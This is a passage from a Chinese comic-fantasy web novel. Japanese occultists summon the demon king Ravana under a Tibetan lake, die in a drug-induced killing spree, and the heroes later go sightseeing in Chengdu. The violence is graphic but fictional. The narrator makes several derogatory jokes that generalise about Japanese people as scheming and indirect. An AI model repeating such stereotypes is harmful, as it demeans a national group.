萧云眯起眼睛,用日语轻声对前田相一说:“要不要把他们都做掉?” “不用,我们只是来看看风景的游客,为什么要杀人呢?”前田相一微笑着说,接着,从背包里取出两大包糖和巧克力,热情地向那几个小喇嘛打招呼,问他们寺庙最早几点开门。 大和尚告知他们时间,前田相一露出乞求的表情: “能不能行个方便,再早一点?我们是东京电视台的,在做慧海和尚的纪录片,就想在止热寺拍一下日出。” “慧海和尚?”大和尚对这个名字闻所未闻。 萧云介绍道:“他是1899年,第一个进藏的日本和尚,他跟那些想强迫藏人信耶稣的传教士不一样,他就是来感受雪域佛国的佛光。” 说着,他还拿出了当初慧海和尚入藏留下的画作,画中描绘了慧海和尚曾在芝热寺所在位置看到的景象。 “当时芝热寺已经荒废,慧海大师曾在此发愿重修止热寺,可惜,他一个人的力量太单薄,终其一生,也没有能回来。我们台想重走一遍慧海大师的路,以作为中日亲善友好的记录。” 前田相一使了一个眼色,一旁的人将身后的登山包打开,里面是十撂像砖头似的鲜红钞票,每撂十万块,一共一百万。 “这是我们替慧海大师还的愿。” 人家给一百万,只求早上早点开寺门。 这有什么不行的呢? 大和尚痛快答应了。 80-90 第81章 九头罗刹王 早上四点半的止热寺,还是漆黑一片,和尚很有契约精神,将寺门打开一条缝。 远处被系在玛尼堆上的经幡被大风吹动,在黯淡的天光中,像无数块黑色的人影悬停在空中,看着从前院绕过来的六个人。 他们从止热寺大门进去,找到了最高点,眼睛望向鬼湖的方向。 此时东方天际最耀眼的星辰是启明星,西方天空的月亮还没有完全落下。 在启明星与月球之间正中的位置,正是鬼湖畔的一座暗红色的小山。 当朝阳升出地平线的瞬间,那座小山上似乎有一团黑气从地下往天空飘,用余光才能看见。 正对着它看,就什么都没有了,只是一座普通的小山包。 阳光炽烈到不可以用眼睛直视的时候,黑气也彻底消失。 就连稳重的前田正一都忍不住激动:“就是那里!慧海手札里记录的魔女叹息。” 这个日本和尚在他的笔记里写道:“早起诵经,见芝热寺南方一土丘起黑气,藏人谓之魔女之息,传闻为雪域魔国藏身之所,我欲探之,向导力劝不可……” 慧海还是去了那个地方,发现有一处幽深地穴,往下走了一段,只觉得恶气逼人,令他呼吸困难,他自省修为不够,便退了出来,此后再没想下去过。 在笔记中的短短数语,成了九菊一派寻找魔国遗址的线索。 除了慧海笔记,他们也找过天授诗人,从长诗中寻找魔国相关的线索,以保万全。 太阳渐渐出来,寺中和尚已念过早课,热情邀请“东京电视台”的摄影师们留下来吃早饭,前田正一微笑婉拒。 冒着黑气的小山包就在鬼湖南侧,整个鬼湖水质咸苦,周围没有一点植物遮挡,一片暗灰色的湖水在暗灰色的土地上,显得分外荒凉。 洞很小,如果不是凑到近前,根本看不出那里还有个洞。 有人当即便要往下手,前田正一制止了他,他从袖中取出两只纸做的人形式神,咬破食指,将血点在式神的额头位置。 式神凭空飘起,紧接着,便钻进了洞中。 前田正一闭上眼睛,与式神的视野相连。 过了约二十分钟,前田正一才睁开眼睛:“下去吧。” 六人依次跃入洞中。 五分钟后…… “我们也下去吧!别跟丢了。”藏在远处的道士迫不及待地要跟上。 “再等等。”李寅寅摇头。 苑雪有点害怕,她之所以来,完全是因为听说魔国遍地都是黄金与宝石,只要带着麻袋,弯下腰,随便捡一捡,别说是重修一座庙,就算把整个上海买下来都行。 于是,她来了,抱着两条路上餐馆老板娘免费赠送的米口袋。 满脑子想的都是一会儿是捡宝石,还是捡黄金。 李寅寅看见抱着大口袋,脸上露出谜之微笑的苑雪,厉声道:“你跟在我们后面,我说什么能拿,你再拿!” “嗯!好的!”苑雪一口答应的无比痛快。 看着时间差不多,李寅寅一手拉着苑雪,一手拉着苏灵衣,鬼金羊拉着道士,瞬移到了魔国入口。 苑雪第一个皱起了眉头:“什么味儿啊!” “空气久不流通就是这种味,你要是受不了就回去。” “我不!”苑雪意志无比坚定,她要是回去了,谁帮她捡黄金,她的庙怎么办!她甚至还为此买了一只金丝雀。 哪怕李寅寅说咱们用不着,她也坚持带着,说这样比较有仪式感,将来可以把金丝雀做为寺庙的吉祥物供着,连开发什么样的金丝雀文创周边,她都想好了。 魔国的人到底还是有形体的,他们对居住空间和生活环境有要求。 不是像鬼那样的精神体,也不像无伤和地狼那样,能在地下自由活动,随便找个地方窝着就行。 踩在洞穴内部地面之后,苑雪还是紧闭着眼睛,害怕看到满洞挂着内脏、头颅和白骨。 “什么都没有,他们又不是变态。”李寅寅安慰道。 “噢……”苑雪偷偷睁开一只眼睛,确实什么都没有,才松了一口气,睁开另一只眼睛。 地下空间很大,从岩壁上的一些细节来看,这里是大地自动裂开的空间。 地理学家曾说圣湖鬼湖本是一体,地壳运动后,中间地层隆起,才将圣湖与鬼湖分开。 苑雪紧紧跟在李寅寅身边,从某处缝隙传来的风声都能把她吓一跳。 “别怕,别说魔国现在肯定没有活口了,就算有,也就那样吧,说不定还打不过你呢。”李寅寅笑道。 苑雪不是很相信:“为什么?” “他们这么牛逼,还被格萨尔王追着跑?格萨尔王当年神通无敌,连一点神通都没给后人留下?就算在他们的神系划分里普通农奴不是人,那贵族总该是人了吧,但凡有点神通,也不至于在1904年抗英的时候打得那么惨,总不能是英国人也有神通吧,身上抹上黑狗血,大喊刀枪不入?” 苑雪歪着脑袋想了半天,被李寅寅说服了。 道士看着李寅寅的表情非常的不解:“我真不明白,你们自己明明就有超自然的力量,为什么还跟个坚定的唯物主义战士似的。” “本来就是么,世间万物你管他吹得上天入地,看结果就好啦。像一堆人吹金色发晶招财,我就问,世界首富榜从第一名数到第一百名,有哪位是卖水晶的?总不能说都是隐形富豪吧。” 李寅寅的意见很大,因为薛姗看水晶直播心动,真的下单买了七颗金发晶的水晶球,说要摆招财阵。 那七个破水晶不支持无理由退款! 买水晶的钱是谁付的! 当然是李寅寅! 娄金狗还在旁边拱火:“哪能买个石头就招财啊,要是这么灵,我跟五路财神、文武财神早就下岗啦。” “那……那湖会不会塌下来啊。”想到头顶上顶着那么大一滩水,怕水的苑雪小心翼翼地问道。 “都那么多年了,要塌也不能挑今天塌。”李寅寅回答。 地下洞穴中并非没有空气流通,始终有不知道从哪里来的气流吹到脸上。 一行人并不着急,万一魔国留下了什么机关陷阱,妖魔鬼怪,当然都交给走在前面的九菊一派的诸君趟雷。 “怎么越走越热了,还有一股臭味……”苑雪生活在亚热带的林子里,冬天最高都能超过三十度,现在她觉得地下的温度,起码有四十度。 “是硫磺味,前面有地热。”苏灵衣说,“我们过来的时候,旁边有个牌子,上面写着温泉旅馆向前。” 前方没有路了,是一个断崖。 悬崖并不高,就五六米左右。 “我……我不想下去。”苑雪的声音都在颤抖。 在悬崖下,是一片翻滚着泡泡的赤红色岩浆,灼热的气流吹拂到脸上,让苑雪产生了一种全身都要被烧焦的感觉。 在岩浆旁边,有六个白色的小点正在移动,那是穿着狩衣的九菊一派成员,带头的就是前田正一。 他们在离岩浆最近的位置,以六芒星的位置坐下,手中各执法器,口中念念有词。 “又在召唤什么鬼东西了?”李寅寅努力听着。 可惜她只能听懂他们在召唤,却不知道在召啥,外国人名太长太难记了。 “他们是在召唤九头罗刹王罗波那。”苏灵衣说。 “哦,他很厉害吗?” 苏灵衣认真思考了一下应该如何衡量罗波那的战斗力,最后说:“他的对手是人类,并且他死在人类的手上。” “哈,就这?”苑雪觉得自己又行了,她可是真·苟全性命于乱世,连她都没死,这什么罗刹王居然就这么断气了? 苏灵衣看出她的轻慢,对她说:“不要小瞧他,他会幻术。” 苏灵衣将自己所知的信息都说了一遍,这个罗刹王是湿婆神的铁杆粉丝,天天“你是电,你是光,你是唯一的神话”的念叨,把梵天给感动了,说可以实现他的一个愿望,他许的愿望是“谁都杀不了他”,梵天说你这影响服务器内的力量平衡,不行,必须得给几个设定条件。 罗刹王就许愿:天神、恶魔、阿修罗族、帝释天族杀不了他。 没有把人类计算在内,最后就被人类杀了。 李寅寅好奇问道:“湿婆呢?不拉一把他的铁杆粉丝?” “就是得罪了湿婆,他太爱湿婆了,想把湿婆带回他家,湿婆不肯,他就把湿婆住的山给抬了起来,湿婆用力踩了一脚,山掉了下去,压住了他的手,他又跪求湿婆原谅,湿婆原谅他了,然后用了一点小法术骗过他,跑回家去了。 罗波那很生气,觉得自己被辜负了,从此不再天天讨好湿婆,去祸害三界,他最强的能力是幻术,能让罗摩以为自己的妻子死了,从而退兵回家,同时让罗摩的妻子以为自己的丈夫退兵是放弃了自己,心灰意冷的被带走了,最后罗摩知道被骗,再次出兵,杀了他。” 李寅寅:“我是不是可以简单理解为,这是一个湿婆的梦男因爱生恨,由粉转黑的故事?” 苏灵衣说了一长段,李寅寅总结陈词显得相当的简单粗暴,苏灵衣眨眨眼睛,快速捋了捋逻辑:“这么理解……也……不是不行……” “不过……他们真的能召唤出罗波那吗?”苏灵衣望着那六个小白点。 “根据罗摩衍那的记载,罗波那升上天国了啊。” 李寅寅、苑雪和道士:“啊?” 这都能上天国,难道是买了很多赎罪券不成? 苏灵衣:“因为罗摩是毗湿奴化身,他名字有着伟大的力量,只要呼喊,就能进入天国。罗波那临死前喊的是‘杀死罗摩’,也就进了。” 李寅寅:“……关键字是这么提取的吗……我还以为天谴云像人工智障一样,是华夏独有,原来印度也是……” 听着对手似乎脑子不太好,苑雪一点都不紧张了,她笑嘻嘻地说:“关键字提取不是一直都这样吗?苏哥哥这几天推荐我看的好几本小说,好看是好看,就是有些地方像做填空题一样。” 她扳着手指数:“少女生口口戴花,弯口口子,应该口口致一些,口口生水,口口七十二,口口分成……本来我还不明白为什么会这样,现在懂了。” 李寅寅笑道:“你得出了什么结论?” 苑雪自信回答:“晋江的程序员是印度人!” 知道对方要召唤出来的东西是什么身份后,神仙妖怪谈笑风生,道士忍不住打断她们:“我们现在不阻止他们吗?” “本来是想阻止的,不过现在不用了。”李寅寅眨眨眼睛。 道士见她如此自信,也不再说什么,只是悄悄问苑雪:“你们是不是有了什么计划?” “什么计划?”苑雪茫然地看他。 道士急了:“对我还要保密?我们都一起走到这了。” 苑雪抓抓头:“我真的不知道唉,苏哥哥,你知道吗?” 苏灵衣笑道:“她没有告诉我呀,一定是不重要,如果重要的话,她一定会说的,我们听她安排就好了。” 道士睁大眼睛:“你们……就这么两眼一抹黑,什么都不知道?!” 还这么淡定地站在岩浆边上,等着六个傻逼把史上有名的罗刹王给召唤出来? 苏灵衣不觉得自己有什么问题:“她出主意,我们安心做行李,负责跟随就行。” 道士还想说什么,李寅寅转头看着他:“你想知道?” “想啊。”道士不觉得自己有什么问题,人类要是没点好奇心,也不能下树,直立,站上食物链顶端,建立文明。 李寅寅双手抱在胸前,笑道:“你知道在战斗中,一个普通士兵知道战略和战术目标意味着什么吗?” “意味着迷路了,也要对着目标打呗。” “对,就是一定要拿下来的意思,营长死了,连长上,连长死了,排长上……哪怕整个番号成建制的牺牲,只剩下一个普通士兵,他也知道自己要做什么,要把目标点端掉。我要是死了,你能替我把事做完吗?” 道士傻眼了,他没想过只是听一耳朵的事情,居然有这么大的责任:“我肯定打不过罗刹王,但是,就算把你的计划告诉我,也没有什么关系的吧?” “有的……”李寅寅伸出右手食指,点了点自己的嘴唇,“我说话就是言灵,如果你知道了我的计划,那你就会自动接过天命,不管是不是打得过,你都会不受控制的向前冲……你要是愿意的话,我现在就告诉你。” “别,不了,我也没那么好奇……”道士连连摆手,人类这种好奇心如此重的生物在大自然的筛选中没有死绝,是因为人类还有一种优秀品质“识时务者为俊杰”,在权衡利弊之后,会做出正确的选择。 六芒星所在的位置发出光芒,岩浆中心翻腾地越发激烈,这是要成功的前兆,九菊一派的六人无比兴奋,越发虔诚地念颂着召唤咒语,誓要将曾经在这里横行的九头罗刹王召唤出来,赐予他们更加强大的力量。 忽然,滚热的岩浆如同碰到礁石的海浪,激起半天高。 紧接着,岩浆池中心出现了一个巨大的旋涡,旋涡越转越急,向外溢出阵阵黑气,空气中的硫磺味愈发浓烈。 苑雪皱着眉头,捂住口鼻:“好臭。” 连她带来的金丝雀都在笼子里不安的又蹦又跳。 李寅寅摆摆手:“你们出去吧,他出来的动静比我想的要大。” 苑雪还想说点生死与共的话,胳膊骤地一紧,苏灵衣一手拉着她,一手拉着道士,向来时路狂奔。 苑雪双手紧紧抱着鸟笼:“你就这么跑了?你居然都没有说‘你不走,我也不走’!你是不是根本就不喜欢她?” “你太不了解她了。”苏灵衣脚下一丝都不慢,“除非你出的主意比她的主意更好,否则最好是听她的,不然她会很生气。” 三人一鸟冲到地面,回头再看鬼湖,赫然发现,白色的烟气直冲天际,鬼湖的水面如同被烧开了一般的沸腾,成了一口大锅。 在地下,一个巨大的身躯自岩浆池中浮出,肩膀上像蘑菇似的长着九个脖子,脖子上顶着的那九张脸露出喜、怒、哀、乐、惧、爱、恶、欲八个表情,还有一张脸上没有五官,是一张没有脸皮的骷髅头,黑洞洞的眼眶直勾勾地看着前田正一。 “是你们,召唤本尊的吗?”罗刹王的声音如同洪钟一般,激得岩浆翻腾。 前田正一谦卑地躬身:“是,尊敬的罗刹王大人,我们请求您的现身,愿侍奉在您左右,只求获得无上法力,在世上存身。” 罗刹王放声大笑:“哈哈哈哈哈,存身?何必说得这么可怜,不就是想要登顶权力的顶峰,直说就是!” 习惯于拐弯抹角说话的日本人被狂暴直接的罗刹王点破心思,齐齐俯身低头:“嗨。” “你呢?又是谁?”罗刹王忽然转身,九个脑袋一起望向站在断崖上的李寅寅。 李寅寅向他挥挥手:“你好,我是你邻居,一直住在你旁边的上面。” “邻居……”罗刹王正中间的脑袋露出思索的神情。 前田正一大叫:“大人千万不要相信她,她是天神,与谋害你的罗摩是一伙的!” 不愧是日本人,在栽赃陷害拱火领域方面,发挥相当稳定。 除了前田正一的话之外,罗刹王也确实从李寅寅身上闻到了来自天界的无边星海气息,当下不疑有他,伸出滴着岩浆的手,向李寅寅拍去。 李寅寅闪身躲过,地上岩石被巨掌拍得裂成一块一块,李寅寅摸摸下巴: “你不都去了天国嘛,天国是哪儿没招待好你啊,怎么气性还这么大。” “你们这些虚伪的天神!”罗刹王对着她大吼,带着硫磺味的气息像一阵带着火的狂风吹向她。 “我一点都不虚伪,特别真诚,真的!”李寅寅忽然身形爆涨,亮出战斗法相。 “本来呢,我只是想跟你商量商量,借的无相头颅一用。反正你还有八个呢。既然你这么讨厌我,想来是没法好好谈了,那就把九个都给我吧,我用一个,还有八个,我会替你送给你的梦中情郎湿婆大神的,做为国礼,他一定会好好收藏,怎么样,开心嘛~” 罗刹王本来就是气性极大,否则也不能当梦男失败还粉转黑了。 现在被李寅寅连刺带讽,更是怨气冲天,九头化做万千虚像,向李寅寅发动攻击。 前田相一双手插在袖中,脸上带着微笑,看着罗刹王与李寅寅的战斗。 在他身后,五个门徒被高温蒸得一身大汗,有一个修为浅的难受之极,连汗都出不来了,他忍不住向后退了几步,在他的身后本应是坚硬的石壁,却不知道什么时候变成一片柔软。 撞到人了?! 他急忙想回头,鼻端忽然吸入大量呛人的粉末,接着脖子被拧成了麻花,整个人软软倒下。 其他人也吸到了,只是,在这么浓烈的硫磺气味中,他们已经分不出自己的不适到底是来自于哪里,他们甚至没有回头,都不知道一个同门已经命丧黄泉,他们在集中精神,抵御着高温带来的痛苦。 好在看起来,战况不会持续太久,很快,他们就可以从炎热的地狱里解脱出来。 一把三刃叉钉穿了李寅寅的肩膀,将她牢牢钉在岩壁之上,罗刹王的手紧紧捏住她的咽喉,她那张方才还轻松自如的脸上,此时已变得扭曲狰狞,额上青筋爆起,口中不住咳血。 她已经快要不行了,罗刹王的长指甲刺入她的胸口,将挡在心脏前的血肉一把撕开,又捏断了她胸前的骨骼。 一枚正在跳动的心脏就这么暴露在空气中,心脏中有一团银色的光芒,似乎想要从这具已经废掉的身体里逃走。 那是星宿的神格。 在银光从李寅寅心脏离开的那一瞬间,李寅寅的头颅无力垂下,一动不动。 她死了。 那道银光被罗刹王紧紧捏住,握在手心。 他向着六人咧嘴一笑:“谁想要她的神格?” 凡人获得神格,便可省了多少年的修炼,一跃飞升为仙。 除萧云之外的五个人的眼中皆露出了贪婪的欲望,萧云向后退了一步:“我愿掌门飞升。” 其他人就没有他这么客气了,在日本传统艺能里,除了有下级对上级的绝对服从,还有经典名场面“下克上”。 站在前田正一身后的男子从袖中掏出一柄锋利匕首,对着前田正一的后心刺下去。 前田正一仿佛身后长了眼睛似的,一把拧住他的胳膊,硬生生将他推进了岩浆池中,连一声惨叫都没有来得及发出,整个人就着火,并且迅速碳化。 紧接着是第二个,第三个…… 直到最后,只剩下前田正一和萧云两人了。 萧云跪伏在地:“恭喜掌门飞升。” 前田正一非常满意他的表现,满脸笑容,转身望向罗刹王,看着他手中的那团银光:“请罗刹王大人将神格赐予我,我愿生生世世服侍您。” 罗刹王却没有马上将银光给他,九个脑袋同时变成不悦的神情:“有两个人,怎么分?” “这……他并不与我抢。”前田正一大声道。 罗刹王的九个脑袋又同时变为嘲笑:“他的心里,很想要,很想,很想……欲望并没有在他的心中平息……” 前田正一闻言,转身拎起萧云的领子,萧云露出惊恐的表情:“我真的不想啊……我知道您是我的父亲,我早就知道了!如果您能飞升成仙,自然很快也会来接我,我又何必现在动邪念呢!” “你知道了?”前田正一的手不由得松了劲。 “是,我自从入门起,便知道了,我就是为了得到父亲您的认可,才加入九菊一派的啊!男人这辈子最渴望的荣誉,不是扬名立万,而是父亲的一句赞扬和认可!”萧云红了眼眶。 前田正一看着萧云与自己有几分肖似的脸,心中顿时一软,手上也彻底失了力气。 就在此时,他的胸口剧痛,他不可置信地缓缓低下头,看着一柄三棱刺扎穿了自己的心脏,血顺着血槽不住向外喷涌。 萧云握住三棱刺,转了半圈,拔出,鲜血喷了他一头一脸,让他那张天真俊秀的脸变得像嗜血恶魔。 不过几秒的时间,前田正一便咽了气。 萧云冷冷地看着他:“我怎么会指望你这个抛妻弃子的人,会因为一点点的血缘关系,就接我一起飞升。只不过,本来我没想用这么激烈的手段,是你逼我的,父亲。” 他将三棱刺擦干净,收起,抬头望着罗刹王,扬唇一笑:“现在,只剩下我一个人了。” 罗刹王再次发出大笑,向他伸出手,银色的光芒被罗刹王按进了他的体内。 萧云顿时觉得身体轻盈,连空气的灼热也感觉不到了。 罗刹王向他招手:“来,站到我的身边!我们一同去天国,享有无尽的生命与极乐……” “遵命!”萧云痛快地应道,迫不及待地向罗刹王跑去。 “这是……”苏灵衣震惊地看着岩浆中的六具焦尸,再转头看着手中提着罗刹王那颗白骨相头颅的李寅寅。 他记得李寅寅并不会分身术,她是怎么以战斗法相状态干掉了罗刹王,又以普通人或是普通兽形干掉了六个人类的? 李寅寅耸耸肩:“我不知道啊,就看着他们忽然互相打起来,然后让你打破醋坛子的那个人,把前田相一给捅死了,我寻思着他是本场MVP了,识相点,应该回九菊一派接任个掌门啥的,谁知道,他就这么一路大笑着狂奔进了岩浆……总不能是罗刹王被我砍了脑袋,他吓傻了吧?” 忽然,她想起一个人:“苑雪呢?” “我就是下来找她的,刚才我一转头,她就不见了。”苏灵衣四下张望,在九菊一派原先站着的那块石头高处的一个突起处,看见了变回原形,吓得瑟瑟发抖的苑雪。 李寅寅向她招手:“在那干什么,过来呀。” “我~害~怕~呜呜呜……”苑雪把自己缩得更紧了。 李寅寅瞬间移到她身旁,把她拎起来,跟那双无辜可怜的双眼对视,唇角微微勾起:“给他们下蘑菇粉的时候你不怕,现在怕了?” “我也不知道嘎!他们这么这么凶残血腥暴力的嘎!我只是想让他们在幻觉里待一会儿,不要影响你砍罗刹王的脑袋,谁知道……谁知道他们居然自相残杀!他们是变态!” 李寅寅抱着苑雪,挽着苏灵衣,从地下魔国遗址出来。 刚站在地面上,她就看见尾火虎站在面前。 “咦?不是跟你说我自己能搞定,你们青龙可以回去了吗?”李寅寅想了想,“是青龙有事?” 尾火虎恭敬地行了一礼,看着她怀里的苑雪说:“上次苑雪使用致幻蘑菇粉已经在妖管局挂了号,妖使用药物伤害人类也是重罪。” “重罪是有多重?”李寅寅问道。 尾火虎顿了顿:“她使用的蘑菇粉剂量实在太大,不管是按照人类法律,还是妖类管理条例,都应该处以极刑。” 李寅寅努力:“法理不外乎人情,她害的是坏人,就没有什么通融通融的条款?” 尾火虎低声道:“没有。” 苑雪缩在李寅寅的怀里,眼泪都下来了,李寅寅的手中多出一把银枪,在地上划了道线。 一般配合着这个动作的话就是:“过线者死!” 话放出来,就代表着绝无转寰余地。 苏灵衣突然出声:“局长大人,在二十年前,曾有一个补充修订案! 第3章 第七条的第一款,她可以得到赦免。” 那一条写的是:如犯罪嫌疑妖在人类动物保护名录之中,可酌情处理。 国家一级保护动物:…… 国家二级保护动物:…… 下面还有IUCN标准保护级别选项 极危:…… 濒危:…… 易危:…… 近危:…… 无危:…… 苏灵衣亮出《中国生物多样性红色名录·脊椎动物篇》,指着一张与苑雪原身一模一样的照片,照片旁写着“威氏小鼷鹿”,旁边附有介绍。 它不仅是国家一级保护动物,还是极危物种。 就连国宝大熊猫,也只是国一易危。 根据修订条款,苑雪除了会受到妖管局的严格监管,不准再进行违法交易之外,不会受到任何处罚。 “既然这样……”尾火虎本来也不想跟李寅寅为敌,当下就痛快地接受了这个事实。 他伸手在苑雪头顶按了一下,留下妖管局的远程意识监管咒纹:“不准再用!” “嘤嘤嘤,寅寅姐姐,我以后都不能再保护你了。”苑雪得知自己无事之后,哼哼唧唧地假哭拱火。 李寅寅知道她的心思,把她放在地上,看着她化为人形,伸手点点她的鼻子:“行了,上次那个马导的事我还记得呢,你确实不应该再碰这种东西了,你要真这么想,就找妖管局收编了你,拿到杀人执照,你想干什么都行。” “略略略,我才不要呢,我要修庙。”苑雪做了个鬼脸,从山石后面拖出两个大麻袋:“谢谢苏哥哥帮我找魔国宝藏,我走啦~有空来我的庙喝茶~”说罢,便扛着大麻袋,一溜烟地跑得不见人影了。 尾火虎一脸严肃看着苏灵衣:“你把文物给她了?你知道文物代表着……” “不是文物……”苏灵衣无奈苦笑:“魔国哪里有宝藏,他们为了活下去,早就把能卖的都卖了……是我少年时收藏的宝石,她也不容易,反正,我以后再也用不到了,都给她吧。” 第82章 熊猫 真正的魔国遗产,没有繁复的雕刻、机关密道,黄金珠宝,只有几堆石头,几堆烧灼过的痕迹就是他们留下的全部,如果不是专业人士都分不清火堆到底是西周的还是上周的。 以及一个藏骨洞。 从洞口进去是一个向下的斜坡,然后很快就是坑洞,更像垃圾通道。 洞口很窄,大概只有身高一米四以下的瘦小者才能进去,斜坡口有几张用石头压着的纸币。 大坑里则是不知道攒了多少年的人骨,被肢解后扔下来的不多,大多是一整个丢下来,四肢与身体离得很近。 李寅寅对他们的品味十分不解:“他们就不想搞点值钱的东西装饰一下门面吗?好歹也是魔国,佛在舍卫国要了一堆金子,还有七宝,现在的藏人也喜欢用珊瑚蜜蜡,他们怎么什么都没有?” “他们有权力。”苏灵衣指指藏骨洞,“里面除了战俘之外,还有不听话的族人,以安排他们与神明沟通为名,被扔进来。” 李寅寅撇撇嘴:“搞那么多人祭,还不是被格萨尔王追得缩在这里,再也没见有什么长进。罗刹王上天国,又不带他们上,也不知道有什么好虔诚的。” 苏灵衣笑道:“可能像饭圈?爱豆火了,赚钱了,跟粉丝有什么关系,还不是一样为他生为他死,为他跟别人对喷。最后爱豆都不知道她叫什么名字。” “倒也是。”李寅寅从背包里拿出罗刹王的白骨相头颅,将天灵盖揭开,从中掏出一块赤红色的光芒,那是九头罗刹王的神格,然后随手将已经无用的骷髅头拍成骨渣扔到藏骨洞中,与其他凡人的骨头混在一处。 此时李寅寅才告诉苏灵衣她的计划。 不管九头罗刹王愿不愿意,他已经是天国的一员。 李寅寅的计划是,用九头罗刹王的神格先去他们的天国,再看看有没有可能从印度教的天国张望一下,看看华夏这边的天庭到底是怎么回事。 “……这种行为,听起来很熟悉。”苏灵衣眉头微蹙,认真思考是从哪里听到这么个操作的。 李寅寅说:“哦,就是上个月的新闻,一个人忘记带家门钥匙,又舍不得掏开锁费,就从邻居家的阳台翻过去,然后摔死了。” 苏灵衣:“……” 他从来没想过还能这样跨宗教的“张望一下”,但是想想佛国与天庭之间也有往来,也许,真的可行? 他又想到一个问题:“你这算不算伪造身份,非法进入?” “他们有管这么严吗?”李寅寅也不知道,她从没跟印度神打过交道,佛国与天庭之间也从未有过不请自来的旧事,平时他们修行他们的,只有开大会和吃大餐的时候会邀请他们,他们再过来。 “不管了,反正看这罗摩天国也没什么法律,对了,湿婆、梵天他们住在罗摩天国吗?” 苏灵衣摇摇头:“他们在不同的境界。” “哦~那就更好了,我就悄悄地潜入,不让人看见。”李寅寅摩拳擦掌。 苏灵衣看着她跃跃欲试的模样,已经能想到她所说的不让人看见的潜入,可能指的是谁看见她,她就杀了谁。 悄悄张望一下的梦想很快就破碎了。 李寅寅是外国神,即使拿着罗刹王的神格,她也看不到入口。 国内有两大上天的入口:成都平原的建木和西王母所在的昆仑天梯。 苏灵衣极力建议先去看看建木,那里是以前人神混居时,大家都走的通道,至少说明天上的那个站点,是一个位置正常,设施齐全的地方。 昆仑天梯说是能上天,但是始终没有见过哪位神人从上面下来过,或是地上有谁从那里上天。 很难保证,上去之后的站点到底是什么地方,万一是关凶兽的禁地呢。 李寅寅觉得他说得很有道理,西王母现在不在家,借用昆仑天梯可能比较麻烦,她不能“白虎式”悄悄潜入白玉京,大家都多年邻居了,乡里乡亲的,不好。 当年李寅寅和苏灵衣都曾经亲眼见过建木,只是那建木生得巨大无比,几乎整个成都平原都在它的树荫之下,现在它的根基应该早已腐烂,与泥土融为一处,到底从哪里可以上天,这是一个未解之谜。 建木之所以能让人和神走来走去,不是因为它够高,再高不能突破维度有什么用,最多一树冠戳到火星脸上,人走到缺氧的平流层就差不多该准备断气了,哪里就能走着走着,就登上了第一宇宙速度才能达到的高度。 人界与神界能往来,是因为树干里有一股仙气,从那里进去,到了一个位置,人就能进入另一个位面的世界,也就是神的世界。 现在她要找的是那股仙气的源头,看看那股气是死绝了,还是被什么东西堵住了。 要是死绝了,她就认命,去西王母的白玉京,死皮赖脸求他们开放昆仑天梯。 要是堵住了,就想办法把它给通开。 经过鬼湖一趟,道士想开了,他觉得自己在岩浆边看六个脑子有病的人召唤罗刹王出来,还能啥事都没有,已经说明他的运气并没有那么糟糕,也许只是他的命中不带正财运,只有偏财运呢。 “我决定留在成都了。”道士说,“我已经找到了一生的事业。” “肛肠科大夫?”李寅寅刚好看见身边的XX男科医院。 道士愣了一下:“啊,不是,我要去文殊院摆摊,你看,那么多人呢!” 在照片上看,文殊院附近确实有不少算命的小摊。 李寅寅认真地想了想:“这竞争会不会太大了?” “我可以先搞个一天只算三卦,不灵不要钱,把名声打响了,还怕没人来么?” 李寅寅若有所思:“那在你名声没打响之前,你吃什么喝什么?吃积蓄吗?” 道士得意一笑:“怎么可能!我还有别的路子!” 他又给李寅寅看了一张照片,是位于文殊院旁边的一家名为宫廷糕点的点心店,黑压压的一片人头,都是排队的。 “我还能做代购!我还打入网红店的群演小组!专门负责在新店开业的时候表演排队的群众,排八小时一百五十块呢。”道士非常自豪。 “好,等我回去,一定跟别人多多宣传,照顾你的代购生意。”李寅寅笑道。 苏灵衣看着周围的一切:“都变了,当初我也是从川藏那条路下来的,一路什么都没有,荒凉的很,现在……都挤不动道了。” 李寅寅闪身避开一个手端着炒凉粉的妹子:“这地方肯定挤不动道啊!也不看看这是哪儿!这可是万人坑!” 这里是电子科大的著名“景区”万人坑,南京的万人坑是真的埋人,这里的万人坑,是因为电子科大有一个万人级别的学生宿舍,大学生多,小吃就多, 一条建设路,被摊子和食客挤得满满当当,水泄不通。 空气中都弥漫着被热油泼过的香辣和五香卤味。 “我要二十个!”苏灵衣眼错不见,李寅寅已经站在一个写着“降龙爪爪”的招牌前,冲着老板比划着手势。 老板痛快应了一声,李寅寅把苏灵衣押在摊前:“你在这排队,我再去别的地方看看。” 李寅寅溜跶到何师傅鸡翅包肥肠旁边,忽然听见了一个熟悉的女声。 “我要四个,不要十个。” “对塞,是十个。” “不是四十个,是四个。” “知道,就是四个。” “不是九十四个,是四个。” 那两张侧脸,越看越熟悉,李寅寅凑过去:“黄少芸?介老?你们俩怎么在这?” “介老说我来大冯这么久了,连西南都没有来过,他就带我来了。”黄少芸嘿嘿一笑。 “是吗?只是突然想出来旅游了?”李寅寅很难想象,一个平时最远只走到离家两公里不到的小公园的人,居然会主动提议要出来旅游。 她打量着介老:“是有什么事吗?” “能有什么事?在家里待久了,出来透透气。”介老头老神在在地背着手看摊主往鸡翅上洒调料。 旁边的锡纸烤脑花摊主喊了一声:“谁的烤脑花加折耳根加香菜?” “我的,我的!”黄少芸蹦过去接住。 李寅寅叹为观止:“你居然吃得惯折耳根?” “本来吃不惯的,介爷爷带我过来的时候,是坐的绿皮车,什么吃的都没带,就带了两大饭盒的凉拌折耳根,第一天我也吃不惯,第二天就习惯了。” 黄少芸说着,往嘴里铲了一勺烤脑花,露出幸福的笑容:“可惜冯哥哥和薛姐姐要看家,不能来,不然他们也肯定喜欢吃。” “确实。”李寅寅点点头,“你也不用替他们操心,小区的夜市这些都有,他们俩是不会亏待自己的。” “倒也是。”黄少芸幸福又吃了一勺,忽然问道:“苏哥哥呢?” “在排队呢……咦?”李寅寅发现降龙爪爪那里围了好多人,声音非常喧闹,不知道发生什么事了。 她马上好奇地挤过去:“是不是发现腌好的鸡爪桶里发现人手了?!” 黄少芸也很激动,紧跟在她身边:“也可能是人脚。” 介老头慢慢悠悠在后面跟着:“现在是法制社会,怎么会有这种事呢。” 凑到摊边一看,当事人A,外地游客苏某某,正在跟当事人B,一个本地大胖子吵架。 苏灵衣:“这是我先要的。” 胖子:“你要的是好多?” “二十个。” “是嗦塞,这是十个,不是你的。” 苏灵衣急了:“老板都说了是一炉烤不下我的二十个,先把十个给我,其他的给前面的客人,后面再补我十个。” 胖子认真地点头:“对塞,反正你都是要等下一锅的,不如就把这十个给我,下一炉的二十个都是你的,不就行了嘛?” 